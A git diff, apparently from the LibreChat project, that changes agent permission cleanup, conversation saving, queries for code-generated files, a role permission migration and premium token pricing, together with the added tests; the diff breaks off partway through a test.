index 11789ca63b..663285183a 100644
--- a/api/models/Agent.js
+++ b/api/models/Agent.js
@@ -589,10 +589,16 @@ const deleteAgent = async (searchParameter) => {
const agent = await Agent.findOneAndDelete(searchParameter);
if (agent) {
await removeAgentFromAllProjects(agent.id);
- await removeAllPermissions({
- resourceType: ResourceType.AGENT,
- resourceId: agent._id,
- });
+ await Promise.all([
+ removeAllPermissions({
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ }),
+ removeAllPermissions({
+ resourceType: ResourceType.REMOTE_AGENT,
+ resourceId: agent._id,
+ }),
+ ]);
try {
await Agent.updateMany({ 'edges.to': agent.id }, { $pull: { edges: { to: agent.id } } });
} catch (error) {
@@ -631,7 +637,7 @@ const deleteUserAgents = async (userId) => {
}
await AclEntry.deleteMany({
- resourceType: ResourceType.AGENT,
+ resourceType: { $in: [ResourceType.AGENT, ResourceType.REMOTE_AGENT] },
resourceId: { $in: agentObjectIds },
});
diff --git a/api/models/Conversation.js b/api/models/Conversation.js
index a8f5f9a36c..121eaa9696 100644
--- a/api/models/Conversation.js
+++ b/api/models/Conversation.js
@@ -124,10 +124,15 @@ module.exports = {
updateOperation,
{
new: true,
- upsert: true,
+ upsert: metadata?.noUpsert !== true,
},
);
+ if (!conversation) {
+ logger.debug('[saveConvo] Conversation not found, skipping update');
+ return null;
+ }
+
return conversation.toObject();
} catch (error) {
logger.error('[saveConvo] Error saving conversation', error);
@@ -223,7 +228,7 @@ module.exports = {
},
],
};
- } catch (err) {
+ } catch (_err) {
logger.warn('[getConvosByCursor] Invalid cursor format, starting from beginning');
}
if (cursorFilter) {
@@ -356,6 +361,7 @@ module.exports = {
const deleteMessagesResult = await deleteMessages({
conversationId: { $in: conversationIds },
+ user,
});
return { ...deleteConvoResult, messages: deleteMessagesResult };
diff --git a/api/models/Conversation.spec.js b/api/models/Conversation.spec.js
index b6237d5f15..e9e4b5762d 100644
--- a/api/models/Conversation.spec.js
+++ b/api/models/Conversation.spec.js
@@ -106,6 +106,47 @@ describe('Conversation Operations', () => {
expect(result.conversationId).toBe(newConversationId);
});
+ it('should not create a conversation when noUpsert is true and conversation does not exist', async () => {
+ const nonExistentId = uuidv4();
+ const result = await saveConvo(
+ mockReq,
+ { conversationId: nonExistentId, title: 'Ghost Title' },
+ { noUpsert: true },
+ );
+
+ expect(result).toBeNull();
+
+ const dbConvo = await Conversation.findOne({ conversationId: nonExistentId });
+ expect(dbConvo).toBeNull();
+ });
+
+ it('should update an existing conversation when noUpsert is true', async () => {
+ await saveConvo(mockReq, mockConversationData);
+
+ const result = await saveConvo(
+ mockReq,
+ { conversationId: mockConversationData.conversationId, title: 'Updated Title' },
+ { noUpsert: true },
+ );
+
+ expect(result).not.toBeNull();
+ expect(result.title).toBe('Updated Title');
+ expect(result.conversationId).toBe(mockConversationData.conversationId);
+ });
+
+ it('should still upsert by default when noUpsert is not provided', async () => {
+ const newId = uuidv4();
+ const result = await saveConvo(mockReq, {
+ conversationId: newId,
+ title: 'New Conversation',
+ endpoint: EModelEndpoint.openAI,
+ });
+
+ expect(result).not.toBeNull();
+ expect(result.conversationId).toBe(newId);
+ expect(result.title).toBe('New Conversation');
+ });
+
it('should handle unsetFields metadata', async () => {
const metadata = {
unsetFields: { someField: 1 },
@@ -122,7 +163,6 @@ describe('Conversation Operations', () => {
describe('isTemporary conversation handling', () => {
it('should save a conversation with expiredAt when isTemporary is true', async () => {
- // Mock app config with 24 hour retention
mockReq.config.interfaceConfig.temporaryChatRetention = 24;
mockReq.body = { isTemporary: true };
@@ -135,7 +175,6 @@ describe('Conversation Operations', () => {
expect(result.expiredAt).toBeDefined();
expect(result.expiredAt).toBeInstanceOf(Date);
- // Verify expiredAt is approximately 24 hours in the future
const expectedExpirationTime = new Date(beforeSave.getTime() + 24 * 60 * 60 * 1000);
const actualExpirationTime = new Date(result.expiredAt);
@@ -157,7 +196,6 @@ describe('Conversation Operations', () => {
});
it('should save a conversation without expiredAt when isTemporary is not provided', async () => {
- // No isTemporary in body
mockReq.body = {};
const result = await saveConvo(mockReq, mockConversationData);
@@ -167,7 +205,6 @@ describe('Conversation Operations', () => {
});
it('should use custom retention period from config', async () => {
- // Mock app config with 48 hour retention
mockReq.config.interfaceConfig.temporaryChatRetention = 48;
mockReq.body = { isTemporary: true };
@@ -512,6 +549,7 @@ describe('Conversation Operations', () => {
expect(result.messages.deletedCount).toBe(5);
expect(deleteMessages).toHaveBeenCalledWith({
conversationId: { $in: [mockConversationData.conversationId] },
+ user: 'user123',
});
// Verify conversation was deleted
diff --git a/api/models/File.js b/api/models/File.js
index 5e90c86fe4..1a01ef12f9 100644
--- a/api/models/File.js
+++ b/api/models/File.js
@@ -26,7 +26,8 @@ const getFiles = async (filter, _sortOptions, selectFields = { text: 0 }) => {
};
/**
- * Retrieves tool files (files that are embedded or have a fileIdentifier) from an array of file IDs
+ * Retrieves tool files (files that are embedded or have a fileIdentifier) from an array of file IDs.
+ * Note: execute_code files are handled separately by getCodeGeneratedFiles.
* @param {string[]} fileIds - Array of file_id strings to search for
* @param {Set} toolResourceSet - Optional filter for tool resources
* @returns {Promise>} Files that match the criteria
@@ -37,21 +38,25 @@ const getToolFilesByIds = async (fileIds, toolResourceSet) => {
}
try {
- const filter = {
- file_id: { $in: fileIds },
- $or: [],
- };
+ const orConditions = [];
if (toolResourceSet.has(EToolResources.context)) {
- filter.$or.push({ text: { $exists: true, $ne: null }, context: FileContext.agents });
+ orConditions.push({ text: { $exists: true, $ne: null }, context: FileContext.agents });
}
if (toolResourceSet.has(EToolResources.file_search)) {
- filter.$or.push({ embedded: true });
+ orConditions.push({ embedded: true });
}
- if (toolResourceSet.has(EToolResources.execute_code)) {
- filter.$or.push({ 'metadata.fileIdentifier': { $exists: true } });
+
+ if (orConditions.length === 0) {
+ return [];
}
+ const filter = {
+ file_id: { $in: fileIds },
+ context: { $ne: FileContext.execute_code }, // Exclude code-generated files
+ $or: orConditions,
+ };
+
const selectFields = { text: 0 };
const sortOptions = { updatedAt: -1 };
@@ -62,6 +67,70 @@ const getToolFilesByIds = async (fileIds, toolResourceSet) => {
}
};
+/**
+ * Retrieves files generated by code execution for a given conversation.
+ * These files are stored locally with fileIdentifier metadata for code env re-upload.
+ * @param {string} conversationId - The conversation ID to search for
+ * @param {string[]} [messageIds] - Optional array of messageIds to filter by (for linear thread filtering)
+ * @returns {Promise>} Files generated by code execution in the conversation
+ */
+const getCodeGeneratedFiles = async (conversationId, messageIds) => {
+ if (!conversationId) {
+ return [];
+ }
+
+ /** messageIds are required for proper thread filtering of code-generated files */
+ if (!messageIds || messageIds.length === 0) {
+ return [];
+ }
+
+ try {
+ const filter = {
+ conversationId,
+ context: FileContext.execute_code,
+ messageId: { $exists: true, $in: messageIds },
+ 'metadata.fileIdentifier': { $exists: true },
+ };
+
+ const selectFields = { text: 0 };
+ const sortOptions = { createdAt: 1 };
+
+ return await getFiles(filter, sortOptions, selectFields);
+ } catch (error) {
+ logger.error('[getCodeGeneratedFiles] Error retrieving code generated files:', error);
+ return [];
+ }
+};
+
+/**
+ * Retrieves user-uploaded execute_code files (not code-generated) by their file IDs.
+ * These are files with fileIdentifier metadata but context is NOT execute_code (e.g., agents or message_attachment).
+ * File IDs should be collected from message.files arrays in the current thread.
+ * @param {string[]} fileIds - Array of file IDs to fetch (from message.files in the thread)
+ * @returns {Promise>} User-uploaded execute_code files
+ */
+const getUserCodeFiles = async (fileIds) => {
+ if (!fileIds || fileIds.length === 0) {
+ return [];
+ }
+
+ try {
+ const filter = {
+ file_id: { $in: fileIds },
+ context: { $ne: FileContext.execute_code },
+ 'metadata.fileIdentifier': { $exists: true },
+ };
+
+ const selectFields = { text: 0 };
+ const sortOptions = { createdAt: 1 };
+
+ return await getFiles(filter, sortOptions, selectFields);
+ } catch (error) {
+ logger.error('[getUserCodeFiles] Error retrieving user code files:', error);
+ return [];
+ }
+};
+
/**
* Creates a new file with a TTL of 1 hour.
* @param {MongoFile} data - The file data to be created, must contain file_id.
@@ -169,6 +238,8 @@ module.exports = {
findFileById,
getFiles,
getToolFilesByIds,
+ getCodeGeneratedFiles,
+ getUserCodeFiles,
createFile,
updateFile,
updateFileUsage,
diff --git a/api/models/Role.js b/api/models/Role.js
index 1766dc9b08..b7f806f3b6 100644
--- a/api/models/Role.js
+++ b/api/models/Role.js
@@ -114,6 +114,28 @@ async function updateAccessPermissions(roleName, permissionsUpdate, roleData) {
}
}
+ // Migrate legacy SHARED_GLOBAL → SHARE for PROMPTS and AGENTS.
+ // SHARED_GLOBAL was removed in favour of SHARE in PR #11283. If the DB still has
+ // SHARED_GLOBAL but not SHARE, inherit the value so sharing intent is preserved.
+ const legacySharedGlobalTypes = ['PROMPTS', 'AGENTS'];
+ for (const legacyPermType of legacySharedGlobalTypes) {
+ const existingTypePerms = currentPermissions[legacyPermType];
+ if (
+ existingTypePerms &&
+ 'SHARED_GLOBAL' in existingTypePerms &&
+ !('SHARE' in existingTypePerms) &&
+ updates[legacyPermType] &&
+ // Don't override an explicit SHARE value the caller already provided
+ !('SHARE' in updates[legacyPermType])
+ ) {
+ const inheritedValue = existingTypePerms['SHARED_GLOBAL'];
+ updates[legacyPermType]['SHARE'] = inheritedValue;
+ logger.info(
+ `Migrating '${roleName}' role ${legacyPermType}.SHARED_GLOBAL=${inheritedValue} → SHARE`,
+ );
+ }
+ }
+
for (const [permissionType, permissions] of Object.entries(updates)) {
const currentTypePermissions = currentPermissions[permissionType] || {};
updatedPermissions[permissionType] = { ...currentTypePermissions };
@@ -129,6 +151,32 @@ async function updateAccessPermissions(roleName, permissionsUpdate, roleData) {
}
}
+ // Clean up orphaned SHARED_GLOBAL fields left in DB after the schema rename.
+ // Since we $set the full permissions object, deleting from updatedPermissions
+ // is sufficient to remove the field from MongoDB.
+ for (const legacyPermType of legacySharedGlobalTypes) {
+ const existingTypePerms = currentPermissions[legacyPermType];
+ if (existingTypePerms && 'SHARED_GLOBAL' in existingTypePerms) {
+ if (!updates[legacyPermType]) {
+ // permType wasn't in the update payload so the migration block above didn't run.
+ // Create a writable copy and handle the SHARED_GLOBAL → SHARE inheritance here
+ // to avoid removing SHARED_GLOBAL without writing SHARE (data loss).
+ updatedPermissions[legacyPermType] = { ...existingTypePerms };
+ if (!('SHARE' in existingTypePerms)) {
+ updatedPermissions[legacyPermType]['SHARE'] = existingTypePerms['SHARED_GLOBAL'];
+ logger.info(
+ `Migrating '${roleName}' role ${legacyPermType}.SHARED_GLOBAL=${existingTypePerms['SHARED_GLOBAL']} → SHARE`,
+ );
+ }
+ }
+ delete updatedPermissions[legacyPermType]['SHARED_GLOBAL'];
+ hasChanges = true;
+ logger.info(
+ `Removed legacy SHARED_GLOBAL field from '${roleName}' role ${legacyPermType} permissions`,
+ );
+ }
+ }
+
if (hasChanges) {
const updateObj = { permissions: updatedPermissions };
diff --git a/api/models/Role.spec.js b/api/models/Role.spec.js
index deac4e5c35..0ec2f831e2 100644
--- a/api/models/Role.spec.js
+++ b/api/models/Role.spec.js
@@ -233,6 +233,112 @@ describe('updateAccessPermissions', () => {
expect(updatedRole.permissions[PermissionTypes.MULTI_CONVO]).toEqual({ USE: true });
});
+ it('should inherit SHARED_GLOBAL value into SHARE when SHARE is absent from both DB and update', async () => {
+ // Simulates the startup backfill path: caller sends SHARE_PUBLIC but not SHARE;
+ // migration should inherit SHARED_GLOBAL to preserve the deployment's sharing intent.
+ await Role.collection.insertOne({
+ name: SystemRoles.USER,
+ permissions: {
+ [PermissionTypes.PROMPTS]: { USE: true, CREATE: true, SHARED_GLOBAL: true },
+ [PermissionTypes.AGENTS]: { USE: true, CREATE: true, SHARED_GLOBAL: false },
+ },
+ });
+
+ await updateAccessPermissions(SystemRoles.USER, {
+ // No explicit SHARE — migration should inherit from SHARED_GLOBAL
+ [PermissionTypes.PROMPTS]: { SHARE_PUBLIC: false },
+ [PermissionTypes.AGENTS]: { SHARE_PUBLIC: false },
+ });
+
+ const updatedRole = await getRoleByName(SystemRoles.USER);
+
+ // SHARED_GLOBAL=true → SHARE=true (inherited)
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARE).toBe(true);
+ // SHARED_GLOBAL=false → SHARE=false (inherited)
+ expect(updatedRole.permissions[PermissionTypes.AGENTS].SHARE).toBe(false);
+ // SHARED_GLOBAL cleaned up
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARED_GLOBAL).toBeUndefined();
+ expect(updatedRole.permissions[PermissionTypes.AGENTS].SHARED_GLOBAL).toBeUndefined();
+ });
+
+ it('should respect explicit SHARE in update payload and not override it with SHARED_GLOBAL', async () => {
+ // Caller explicitly passes SHARE: false even though SHARED_GLOBAL=true in DB.
+ // The explicit intent must win; migration must not silently overwrite it.
+ await Role.collection.insertOne({
+ name: SystemRoles.USER,
+ permissions: {
+ [PermissionTypes.PROMPTS]: { USE: true, SHARED_GLOBAL: true },
+ },
+ });
+
+ await updateAccessPermissions(SystemRoles.USER, {
+ [PermissionTypes.PROMPTS]: { SHARE: false }, // explicit false — should be preserved
+ });
+
+ const updatedRole = await getRoleByName(SystemRoles.USER);
+
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARE).toBe(false);
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARED_GLOBAL).toBeUndefined();
+ });
+
+ it('should migrate SHARED_GLOBAL to SHARE even when the permType is not in the update payload', async () => {
+ // Bug #2 regression: cleanup block removes SHARED_GLOBAL but migration block only
+ // runs when the permType is in the update payload. Without the fix, SHARE would be
+ // lost when any other permType (e.g. MULTI_CONVO) is the only thing being updated.
+ await Role.collection.insertOne({
+ name: SystemRoles.USER,
+ permissions: {
+ [PermissionTypes.PROMPTS]: {
+ USE: true,
+ SHARED_GLOBAL: true, // legacy — NO SHARE present
+ },
+ [PermissionTypes.MULTI_CONVO]: { USE: false },
+ },
+ });
+
+ // Only update MULTI_CONVO — PROMPTS is intentionally absent from the payload
+ await updateAccessPermissions(SystemRoles.USER, {
+ [PermissionTypes.MULTI_CONVO]: { USE: true },
+ });
+
+ const updatedRole = await getRoleByName(SystemRoles.USER);
+
+ // SHARE should have been inherited from SHARED_GLOBAL, not silently dropped
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARE).toBe(true);
+ // SHARED_GLOBAL should be removed
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARED_GLOBAL).toBeUndefined();
+ // Original USE should be untouched
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].USE).toBe(true);
+ // The actual update should have applied
+ expect(updatedRole.permissions[PermissionTypes.MULTI_CONVO].USE).toBe(true);
+ });
+
+ it('should remove orphaned SHARED_GLOBAL when SHARE already exists and permType is not in update', async () => {
+ // Safe cleanup case: SHARE already set, SHARED_GLOBAL is just orphaned noise.
+ // SHARE must not be changed; SHARED_GLOBAL must be removed.
+ await Role.collection.insertOne({
+ name: SystemRoles.USER,
+ permissions: {
+ [PermissionTypes.PROMPTS]: {
+ USE: true,
+ SHARE: true, // already migrated
+ SHARED_GLOBAL: true, // orphaned
+ },
+ [PermissionTypes.MULTI_CONVO]: { USE: false },
+ },
+ });
+
+ await updateAccessPermissions(SystemRoles.USER, {
+ [PermissionTypes.MULTI_CONVO]: { USE: true },
+ });
+
+ const updatedRole = await getRoleByName(SystemRoles.USER);
+
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARED_GLOBAL).toBeUndefined();
+ expect(updatedRole.permissions[PermissionTypes.PROMPTS].SHARE).toBe(true);
+ expect(updatedRole.permissions[PermissionTypes.MULTI_CONVO].USE).toBe(true);
+ });
+
it('should not update MULTI_CONVO permissions when no changes are needed', async () => {
await new Role({
name: SystemRoles.USER,
diff --git a/api/models/Transaction.js b/api/models/Transaction.js
index 5fa20f1ddf..7f018e1c30 100644
--- a/api/models/Transaction.js
+++ b/api/models/Transaction.js
@@ -1,153 +1,19 @@
-const { logger } = require('@librechat/data-schemas');
+const { logger, CANCEL_RATE } = require('@librechat/data-schemas');
const { getMultiplier, getCacheMultiplier } = require('./tx');
-const { Transaction, Balance } = require('~/db/models');
-
-const cancelRate = 1.15;
-
-/**
- * Updates a user's token balance based on a transaction using optimistic concurrency control
- * without schema changes. Compatible with DocumentDB.
- * @async
- * @function
- * @param {Object} params - The function parameters.
- * @param {string|mongoose.Types.ObjectId} params.user - The user ID.
- * @param {number} params.incrementValue - The value to increment the balance by (can be negative).
- * @param {import('mongoose').UpdateQuery['$set']} [params.setValues] - Optional additional fields to set.
- * @returns {Promise} Returns the updated balance document (lean).
- * @throws {Error} Throws an error if the update fails after multiple retries.
- */
-const updateBalance = async ({ user, incrementValue, setValues }) => {
- let maxRetries = 10; // Number of times to retry on conflict
- let delay = 50; // Initial retry delay in ms
- let lastError = null;
-
- for (let attempt = 1; attempt <= maxRetries; attempt++) {
- let currentBalanceDoc;
- try {
- // 1. Read the current document state
- currentBalanceDoc = await Balance.findOne({ user }).lean();
- const currentCredits = currentBalanceDoc ? currentBalanceDoc.tokenCredits : 0;
-
- // 2. Calculate the desired new state
- const potentialNewCredits = currentCredits + incrementValue;
- const newCredits = Math.max(0, potentialNewCredits); // Ensure balance doesn't go below zero
-
- // 3. Prepare the update payload
- const updatePayload = {
- $set: {
- tokenCredits: newCredits,
- ...(setValues || {}), // Merge other values to set
- },
- };
-
- // 4. Attempt the conditional update or upsert
- let updatedBalance = null;
- if (currentBalanceDoc) {
- // --- Document Exists: Perform Conditional Update ---
- // Try to update only if the tokenCredits match the value we read (currentCredits)
- updatedBalance = await Balance.findOneAndUpdate(
- {
- user: user,
- tokenCredits: currentCredits, // Optimistic lock: condition based on the read value
- },
- updatePayload,
- {
- new: true, // Return the modified document
- // lean: true, // .lean() is applied after query execution in Mongoose >= 6
- },
- ).lean(); // Use lean() for plain JS object
-
- if (updatedBalance) {
- // Success! The update was applied based on the expected current state.
- return updatedBalance;
- }
- // If updatedBalance is null, it means tokenCredits changed between read and write (conflict).
- lastError = new Error(`Concurrency conflict for user ${user} on attempt ${attempt}.`);
- // Proceed to retry logic below.
- } else {
- // --- Document Does Not Exist: Perform Conditional Upsert ---
- // Try to insert the document, but only if it still doesn't exist.
- // Using tokenCredits: {$exists: false} helps prevent race conditions where
- // another process creates the doc between our findOne and findOneAndUpdate.
- try {
- updatedBalance = await Balance.findOneAndUpdate(
- {
- user: user,
- // Attempt to match only if the document doesn't exist OR was just created
- // without tokenCredits (less likely but possible). A simple { user } filter
- // might also work, relying on the retry for conflicts.
- // Let's use a simpler filter and rely on retry for races.
- // tokenCredits: { $exists: false } // This condition might be too strict if doc exists with 0 credits
- },
- updatePayload,
- {
- upsert: true, // Create if doesn't exist
- new: true, // Return the created/updated document
- // setDefaultsOnInsert: true, // Ensure schema defaults are applied on insert
- // lean: true,
- },
- ).lean();
-
- if (updatedBalance) {
- // Upsert succeeded (likely created the document)
- return updatedBalance;
- }
- // If null, potentially a rare race condition during upsert. Retry should handle it.
- lastError = new Error(
- `Upsert race condition suspected for user ${user} on attempt ${attempt}.`,
- );
- } catch (error) {
- if (error.code === 11000) {
- // E11000 duplicate key error on index
- // This means another process created the document *just* before our upsert.
- // It's a concurrency conflict during creation. We should retry.
- lastError = error; // Store the error
- // Proceed to retry logic below.
- } else {
- // Different error, rethrow
- throw error;
- }
- }
- } // End if/else (document exists?)
- } catch (error) {
- // Catch errors from findOne or unexpected findOneAndUpdate errors
- logger.error(`[updateBalance] Error during attempt ${attempt} for user ${user}:`, error);
- lastError = error; // Store the error
- // Consider stopping retries for non-transient errors, but for now, we retry.
- }
-
- // If we reached here, it means the update failed (conflict or error), wait and retry
- if (attempt < maxRetries) {
- const jitter = Math.random() * delay * 0.5; // Add jitter to delay
- await new Promise((resolve) => setTimeout(resolve, delay + jitter));
- delay = Math.min(delay * 2, 2000); // Exponential backoff with cap
- }
- } // End for loop (retries)
-
- // If loop finishes without success, throw the last encountered error or a generic one
- logger.error(
- `[updateBalance] Failed to update balance for user ${user} after ${maxRetries} attempts.`,
- );
- throw (
- lastError ||
- new Error(
- `Failed to update balance for user ${user} after maximum retries due to persistent conflicts.`,
- )
- );
-};
+const { Transaction } = require('~/db/models');
+const { updateBalance } = require('~/models');
/** Method to calculate and set the tokenValue for a transaction */
function calculateTokenValue(txn) {
- if (!txn.valueKey || !txn.tokenType) {
- txn.tokenValue = txn.rawAmount;
- }
- const { valueKey, tokenType, model, endpointTokenConfig } = txn;
- const multiplier = Math.abs(getMultiplier({ valueKey, tokenType, model, endpointTokenConfig }));
+ const { valueKey, tokenType, model, endpointTokenConfig, inputTokenCount } = txn;
+ const multiplier = Math.abs(
+ getMultiplier({ valueKey, tokenType, model, endpointTokenConfig, inputTokenCount }),
+ );
txn.rate = multiplier;
txn.tokenValue = txn.rawAmount * multiplier;
if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') {
- txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate);
- txn.rate *= cancelRate;
+ txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE);
+ txn.rate *= CANCEL_RATE;
}
}
@@ -166,6 +32,7 @@ async function createAutoRefillTransaction(txData) {
}
const transaction = new Transaction(txData);
transaction.endpointTokenConfig = txData.endpointTokenConfig;
+ transaction.inputTokenCount = txData.inputTokenCount;
calculateTokenValue(transaction);
await transaction.save();
@@ -200,6 +67,7 @@ async function createTransaction(_txData) {
const transaction = new Transaction(txData);
transaction.endpointTokenConfig = txData.endpointTokenConfig;
+ transaction.inputTokenCount = txData.inputTokenCount;
calculateTokenValue(transaction);
await transaction.save();
@@ -231,10 +99,9 @@ async function createStructuredTransaction(_txData) {
return;
}
- const transaction = new Transaction({
- ...txData,
- endpointTokenConfig: txData.endpointTokenConfig,
- });
+ const transaction = new Transaction(txData);
+ transaction.endpointTokenConfig = txData.endpointTokenConfig;
+ transaction.inputTokenCount = txData.inputTokenCount;
calculateStructuredTokenValue(transaction);
@@ -266,10 +133,15 @@ function calculateStructuredTokenValue(txn) {
return;
}
- const { model, endpointTokenConfig } = txn;
+ const { model, endpointTokenConfig, inputTokenCount } = txn;
if (txn.tokenType === 'prompt') {
- const inputMultiplier = getMultiplier({ tokenType: 'prompt', model, endpointTokenConfig });
+ const inputMultiplier = getMultiplier({
+ tokenType: 'prompt',
+ model,
+ endpointTokenConfig,
+ inputTokenCount,
+ });
const writeMultiplier =
getCacheMultiplier({ cacheType: 'write', model, endpointTokenConfig }) ?? inputMultiplier;
const readMultiplier =
@@ -304,18 +176,23 @@ function calculateStructuredTokenValue(txn) {
txn.rawAmount = -totalPromptTokens;
} else if (txn.tokenType === 'completion') {
- const multiplier = getMultiplier({ tokenType: txn.tokenType, model, endpointTokenConfig });
+ const multiplier = getMultiplier({
+ tokenType: txn.tokenType,
+ model,
+ endpointTokenConfig,
+ inputTokenCount,
+ });
txn.rate = Math.abs(multiplier);
txn.tokenValue = -Math.abs(txn.rawAmount) * multiplier;
txn.rawAmount = -Math.abs(txn.rawAmount);
}
if (txn.context && txn.tokenType === 'completion' && txn.context === 'incomplete') {
- txn.tokenValue = Math.ceil(txn.tokenValue * cancelRate);
- txn.rate *= cancelRate;
+ txn.tokenValue = Math.ceil(txn.tokenValue * CANCEL_RATE);
+ txn.rate *= CANCEL_RATE;
if (txn.rateDetail) {
txn.rateDetail = Object.fromEntries(
- Object.entries(txn.rateDetail).map(([k, v]) => [k, v * cancelRate]),
+ Object.entries(txn.rateDetail).map(([k, v]) => [k, v * CANCEL_RATE]),
);
}
}
diff --git a/api/models/Transaction.spec.js b/api/models/Transaction.spec.js
index 2df9fc67f2..f363c472e1 100644
--- a/api/models/Transaction.spec.js
+++ b/api/models/Transaction.spec.js
@@ -1,8 +1,10 @@
const mongoose = require('mongoose');
+const { recordCollectedUsage } = require('@librechat/api');
+const { createMethods } = require('@librechat/data-schemas');
const { MongoMemoryServer } = require('mongodb-memory-server');
-const { spendTokens, spendStructuredTokens } = require('./spendTokens');
-const { getMultiplier, getCacheMultiplier } = require('./tx');
+const { getMultiplier, getCacheMultiplier, premiumTokenValues, tokenValues } = require('./tx');
const { createTransaction, createStructuredTransaction } = require('./Transaction');
+const { spendTokens, spendStructuredTokens } = require('./spendTokens');
const { Balance, Transaction } = require('~/db/models');
let mongoServer;
@@ -564,3 +566,760 @@ describe('Transactions Config Tests', () => {
expect(balance.tokenCredits).toBe(initialBalance);
});
});
+
+describe('calculateTokenValue Edge Cases', () => {
+ test('should derive multiplier from model when valueKey is not provided', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'gpt-4';
+ const promptTokens = 1000;
+
+ const result = await createTransaction({
+ user: userId,
+ conversationId: 'test-no-valuekey',
+ model,
+ tokenType: 'prompt',
+ rawAmount: -promptTokens,
+ context: 'test',
+ balance: { enabled: true },
+ });
+
+ const expectedRate = getMultiplier({ model, tokenType: 'prompt' });
+ expect(result.rate).toBe(expectedRate);
+
+ const tx = await Transaction.findOne({ user: userId });
+ expect(tx.tokenValue).toBe(-promptTokens * expectedRate);
+ expect(tx.rate).toBe(expectedRate);
+ });
+
+ test('should derive valueKey and apply correct rate for an unknown model with tokenType', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ await createTransaction({
+ user: userId,
+ conversationId: 'test-unknown-model',
+ model: 'some-unrecognized-model-xyz',
+ tokenType: 'prompt',
+ rawAmount: -500,
+ context: 'test',
+ balance: { enabled: true },
+ });
+
+ const tx = await Transaction.findOne({ user: userId });
+ expect(tx.rate).toBeDefined();
+ expect(tx.rate).toBeGreaterThan(0);
+ expect(tx.tokenValue).toBe(tx.rawAmount * tx.rate);
+ });
+
+ test('should correctly apply model-derived multiplier without valueKey for completion', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-6';
+ const completionTokens = 500;
+
+ const result = await createTransaction({
+ user: userId,
+ conversationId: 'test-completion-no-valuekey',
+ model,
+ tokenType: 'completion',
+ rawAmount: -completionTokens,
+ context: 'test',
+ balance: { enabled: true },
+ });
+
+ const expectedRate = getMultiplier({ model, tokenType: 'completion' });
+ expect(expectedRate).toBe(tokenValues[model].completion);
+ expect(result.rate).toBe(expectedRate);
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(
+ initialBalance - completionTokens * expectedRate,
+ 0,
+ );
+ });
+});
+
+describe('Premium Token Pricing Integration Tests', () => {
+ test('spendTokens should apply standard pricing when prompt tokens are below premium threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-6';
+ const promptTokens = 100000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-premium-below',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const standardPromptRate = tokenValues[model].prompt;
+ const standardCompletionRate = tokenValues[model].completion;
+ const expectedCost =
+ promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendTokens should apply premium pricing when prompt tokens exceed premium threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-6';
+ const promptTokens = 250000;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-premium-above',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const premiumPromptRate = premiumTokenValues[model].prompt;
+ const premiumCompletionRate = premiumTokenValues[model].completion;
+ const expectedCost =
+ promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendTokens should apply standard pricing at exactly the premium threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-6';
+ const promptTokens = premiumTokenValues[model].threshold;
+ const completionTokens = 500;
+
+ const txData = {
+ user: userId,
+ conversationId: 'test-premium-exact',
+ model,
+ context: 'test',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ await spendTokens(txData, { promptTokens, completionTokens });
+
+ const standardPromptRate = tokenValues[model].prompt;
+ const standardCompletionRate = tokenValues[model].completion;
+ const expectedCost =
+ promptTokens * standardPromptRate + completionTokens * standardCompletionRate;
+
+ const updatedBalance = await Balance.findOne({ user: userId });
+ expect(updatedBalance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0);
+ });
+
+ test('spendStructuredTokens should apply premium pricing when total input tokens exceed threshold', async () => {
+ const userId = new mongoose.Types.ObjectId();
+ const initialBalance = 100000000;
+ await Balance.create({ user: userId, tokenCredits: initialBalance });
+
+ const model = 'claude-opus-4-6';
+ const txData = {
+ user: userId,
+ conversationId: 'test-structured-premium',
+ model,
+ context: 'message',
+ endpointTokenConfig: null,
+ balance: { enabled: true },
+ };
+
+ const tokenUsage = {
+ promptTokens: {
